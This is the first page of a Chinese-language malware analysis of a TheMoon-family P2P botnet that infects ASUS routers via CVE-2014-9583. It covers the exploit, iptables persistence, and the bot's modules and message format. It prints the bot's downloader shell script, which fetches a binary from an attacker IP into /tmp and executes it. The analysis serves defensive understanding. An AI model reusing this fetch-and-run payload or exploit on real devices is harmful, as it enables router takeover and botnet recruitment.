路由器

详解感染华硕路由器的P2P僵尸网络程序

发布时间:2016-10-28 15:01:03 作者:脚本之家

僵尸网络是指采用一种或多种传播手段,是指实现恶意控制功能的程序代码,在控制者和被感染主机之间所形成的一个可一对多控制的网络。

\

下图是利用wireshark抓包捕获的僵尸程序攻击流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代码。

\

CVE-2014-9583 :ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。详情参见GitHub

以下是bot从网站http://78.128.92.137:80/ 自动下载的nmlt1.sh文件内容

#!/bin/sh

cd /tmp

rm -f .nttpd

wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1

chmod +x .nttpd

./.nttpd

路由器将会从攻击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息

\

该bot程序属于TheMoon恶意软件系列,程序结构如下:

\

该bot程序主要不同在于os_init和 run_modules函数,os_init中插入了8个iptables规则:

\

为了获得感染设备的绝对控制权,防止反复感染,其中第一条规则通过关闭端口9999,阻止其它攻击者利用华硕CVE-2014-9583漏洞;第二条规则是关闭多个端口,阻止其它攻击者利用D-Link的一个远程命令执行漏洞。其余为bot程序建立的网络通信规则。

在run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:

CLK模块

该模块加载了两个线程,一个用来计时,一个用来同步,它通过查询公开NTP服务器保持UTC时间。抓包发现bot与NTP服务器之间的请求回应流量

\

Net模块

该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与通常的端口通信不同,该bot程序支持3种不特定的消息类型。

Register message

RegisterTo message

FetchCommand message

每种类型都包含相同的头结构:

Offset Size Description

0 1 Body length

1 1 Message Type

2 1 TTL

3 1 0x8F (variant specific)

当bot接收到消息时,TTL值以1递减,并把消息转发给其它对等结点(peer),下图为向其它peer节点转发消息的底层代码

\

上一页12 下一页 阅读全文
相关文章
最新更新
业界资讯
网友评论